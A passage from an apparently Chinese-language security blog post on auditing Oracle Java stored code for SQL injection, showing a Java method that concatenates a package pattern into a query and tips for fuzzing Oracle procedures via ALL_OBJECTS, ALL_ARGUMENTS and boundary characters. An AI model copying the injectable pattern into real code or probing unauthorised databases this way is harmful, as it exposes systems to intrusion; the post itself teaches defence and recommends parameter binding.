    this.packageNamePattern = packageNamePattern.replace('.', '/');
    this.schema = schema;
}

public int apply (ClassProcessor processor) {
    try {
        OracleDriver driver = new OracleDriver();
        connection = driver.defaultConnection();
        doit(processor);
    } catch (Exception e) {
        e.printStackTrace();
    }
    finally {
        if (connection != null)  {
        }
    }
    return counter;
}

void cleanup (Connection connection) {
}

public void doit (ClassProcessor processor) throws java.lang.Exception {
    cleanup(connection);
    Statement stmt = connection.createStatement();

    try {
        String cmd;
        cmd = "select dbms_java.longname(OBJECT_NAME) " +
        "from user_objects " +
        "where OBJECT_TYPE = 'JAVA CLASS' and " +
        "dbms_java.longname(OBJECT_NAME) like '" +
        packageNamePattern +
        "/%' " +
        "and dbms_java.longname(OBJECT_NAME) not like '" +
        packageNamePattern +
        "/%/%'";
        //以上代码存储SQL注入的嫌疑
        ResultSet rset = stmt.executeQuery(cmd);

        while (rset.next()) {
            String className = rset.getString(1);
            processor.execute(className);
            counter++;
        }
    } catch (Exception e) {
```

```
                System.out.println(" got error   " + e);
            }
            finally {
                if (stmt != null)
                    stmt.close();
            }
        }
    }
```

看到了吧，往往拼接SQL语句就是危险的开始，OK，剩下的我就不多说了。

四、最后

这里说一下ORACLE简单的FUZZ，可以查询ALL_OBJECTS找出所有的package function procedure与ALL_ARGUMENTS关联获取执行对象的参数类型！当然最好是审核一下FUZZ的对象EXECUTE权限是否为PUBLIC：

```
select * from ALL_TAB_PRIVS
```

如数字的可以使用TO_NUMBER(0.10001,'999999D99999')，字符串可以尝试使用 ″ ’ ；这些边界字符测试。不过还有好多自定义类型没办法太智能的检测。还是分析代码最为王道。

最后说一句，请使用参数绑定防止SQL注入。谢谢！

-EOF-